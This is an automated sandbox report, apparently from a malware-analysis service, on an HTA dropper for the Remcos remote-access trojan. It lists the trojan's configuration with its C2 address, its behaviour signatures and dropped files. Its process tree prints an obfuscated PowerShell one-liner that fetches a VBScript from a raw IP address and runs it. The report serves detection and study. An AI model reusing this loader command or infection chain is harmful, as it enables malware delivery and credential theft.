Analysis

  • user interaction
    yes
  • max time kernel
    149s
  • max time network
    148s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    04/11/2026, 06:50

General

  • Target
    growthforudpate.hta
  • Size 15KB
  • Sample261104-hmfltsy1ev
  • SHA256 5acfbdb54c8b77fffa75bdabf3edb81e8f656828755f5b5f390b001362226ca3
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • remcos

Version
  • 7.3.1 Pro

Botnet
  • Remcos

C2
  • 31.40.204.178:14535

Attributes
  • audio_folder

    MicRecords

  • audio_path

    ApplicationPath

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-JEYOGK

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Family: Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Accesses Microsoft Outlook profiles 1 TTPs 2 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 32 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs
  • outlook_office_path 1 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\growthforudpate.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:4672
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" "/C PoWErsHELL.eXe -ex bYpAsS -NOP -w 1 -eC IAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHcARwBFAFQAIAAJAAkACQAJAAkAHSBoAHQAdABwADoALwAvADIAMAA0AC4ANAA0AC4AOQAzAC4AOQAxAC8AMQAyADIALwB1AHAAZABhAHQAZQBkAEcAbABvAGIAYQBsAC4AdgBiAHMAHSAgACAAIAAgACAAIAAgACAAIAAtAG8AdQBUAEYASQBMAGUAIAAgACAAIAAdICQAZQBuAFYAOgBhAFAAcABkAEEAdABBAFwAbwB3AG8AbgBkAGYAdQBsAGcAcgB3AG8AdABoAC4AdgBiAHMAHSAgACAACQAgACAACQAgACAACQAJACAAIAAgAAkACQAgACAAIAAgACAACQA7ACAACQAJAAkACQAJAAkACQAmACAACQAJACAAIAAgAAkAIAAJAAkACQAgACAACQAgACAACQAgAAkACQAgAAkACQAgAB0gJABFAG4AdgA6AGEAcABQAGQAQQB0AEEAXABvAHcAbwBuAGQAZgB1AGwAZwByAHcAbwB0AGgALgB2AGIAcwAdIA== "
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:556
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        PoWErsHELL.eXe -ex bYpAsS -NOP -w 1 -eC IAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHcARwBFAFQAIAAJAAkACQAJAAkAHSBoAHQAdABwADoALwAvADIAMAA0AC4ANAA0AC4AOQAzAC4AOQAxAC8AMQAyADIALwB1AHAAZABhAHQAZQBkAEcAbABvAGIAYQBsAC4AdgBiAHMAHSAgACAAIAAgACAAIAAgACAAIAAtAG8AdQBUAEYASQBMAGUAIAAgACAAIAAdICQAZQBuAFYAOgBhAFAAcABkAEEAdABBAFwAbwB3AG8AbgBkAGYAdQBsAGcAcgB3AG8AdABoAC4AdgBiAHMAHSAgACAACQAgACAACQAgACAACQAJACAAIAAgAAkACQAgACAAIAAgACAACQA7ACAACQAJAAkACQAJAAkACQAmACAACQAJACAAIAAgAAkAIAAJAAkACQAgACAACQAgACAACQAgAAkACQAgAAkACQAgAB0gJABFAG4AdgA6AGEAcABQAGQAQQB0AEEAXABvAHcAbwBuAGQAZgB1AGwAZwByAHcAbwB0AGgALgB2AGIAcwAdIA== "
        3⤵
        • Badlisted process makes network request
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4804
        • C:\Windows\SysWOW64\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\owondfulgrwoth.vbs"
          4⤵
          • Badlisted process makes network request
          • Checks computer location settings
          • Executes a VBScript file via the Windows Script Host.
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2572
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -ep bypass -file "C:\Temp\VCBIWBJD.ps1"
            5⤵
            • Suspicious use of SetThreadContext
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:3108
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
              6⤵
              • Accesses Microsoft Outlook profiles
              • outlook_office_path
              PID:4756

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        VCBIWBJD.ps1

        • Path C:\Temp\VCBIWBJD.ps1
        • Size 2.4MB
        • SHA256 db931358d0e14eceabe05119c3bd263df44e420fdb81f34656031ad3d37ac0a0
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Login Data For Account.tmp

        • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account.tmp
        • Size 40KB
        • SHA256 06aeb2f9c1ee642348c091fb27541c143545354c273055ce30832e0f61aedf81
        • MD5 SHA1 SHA512 SSDEEP TLSH

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
        • Size 1KB
        • SHA256 e2486a1bdcba80dad6dd6210d7374bd70ae196a523c06ceda71370fd3ea78359
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 16KB
        • SHA256 3e914e8adb6a4df8bf6ddd15424b619985bc3a5312c5dfe377d1cb79262b452e
        • MD5 SHA1 SHA512 SSDEEP TLSH

        __PSScriptPolicyTest_mang4qw0.vqp.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mang4qw0.vqp.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        owondfulgrwoth.vbs

        • Path C:\Users\Admin\AppData\Roaming\owondfulgrwoth.vbs
        • Size 3KB
        • SHA256 fa7f97cba435cc5cb0b0039ecac3ac64762383978584c3aeaac2599082a831c2
        • MD5 SHA1 SHA512 TLSH

        memory/3108-40-0x0000000007A60000-0x0000000007A76000-memory.dmp

        memory/3108-39-0x000000000DAB0000-0x000000000E054000-memory.dmp

        memory/3108-38-0x0000000007920000-0x0000000007942000-memory.dmp

        memory/3108-37-0x00000000079C0000-0x0000000007A56000-memory.dmp

        memory/3108-35-0x0000000006700000-0x000000000674C000-memory.dmp

        memory/3108-26-0x0000000006110000-0x0000000006464000-memory.dmp

        memory/4756-59-0x0000000000400000-0x0000000000490000-memory.dmp

        memory/4756-61-0x0000000000400000-0x0000000000490000-memory.dmp

        memory/4756-70-0x0000000000400000-0x0000000000490000-memory.dmp

        memory/4756-69-0x0000000000400000-0x0000000000490000-memory.dmp

        memory/4756-68-0x0000000000400000-0x0000000000490000-memory.dmp

        memory/4756-67-0x0000000000400000-0x0000000000490000-memory.dmp

        memory/4756-66-0x0000000000400000-0x0000000000490000-memory.dmp

        memory/4756-65-0x0000000000400000-0x0000000000490000-memory.dmp

        memory/4756-64-0x0000000000400000-0x0000000000490000-memory.dmp

        memory/4756-63-0x0000000000400000-0x0000000000490000-memory.dmp

        memory/4756-41-0x0000000000400000-0x0000000000490000-memory.dmp

        memory/4756-42-0x0000000000400000-0x0000000000490000-memory.dmp

        memory/4756-43-0x0000000000400000-0x0000000000490000-memory.dmp

        memory/4756-44-0x0000000000400000-0x0000000000490000-memory.dmp

        memory/4756-45-0x0000000000400000-0x0000000000490000-memory.dmp

        memory/4756-46-0x0000000000400000-0x0000000000490000-memory.dmp

        memory/4756-47-0x0000000000400000-0x0000000000490000-memory.dmp

        memory/4756-48-0x0000000010000000-0x00000000100F7000-memory.dmp

        memory/4756-51-0x0000000010000000-0x00000000100F7000-memory.dmp

        memory/4756-52-0x0000000010000000-0x00000000100F7000-memory.dmp

        memory/4756-62-0x0000000000400000-0x0000000000490000-memory.dmp

        memory/4804-0-0x0000000000850000-0x0000000000860000-memory.dmp

        memory/4804-17-0x0000000005F10000-0x0000000005F2A000-memory.dmp

        memory/4804-1-0x0000000002130000-0x0000000002166000-memory.dmp

        memory/4804-2-0x0000000004C00000-0x0000000005228000-memory.dmp

        memory/4804-3-0x0000000004A60000-0x0000000004A82000-memory.dmp

        memory/4804-4-0x0000000005330000-0x0000000005396000-memory.dmp

        memory/4804-5-0x00000000053A0000-0x0000000005406000-memory.dmp

        memory/4804-13-0x0000000005510000-0x0000000005864000-memory.dmp

        memory/4804-14-0x0000000005A10000-0x0000000005A2E000-memory.dmp

        memory/4804-15-0x0000000005A50000-0x0000000005A9C000-memory.dmp

        memory/4804-16-0x0000000007250000-0x00000000078CA000-memory.dmp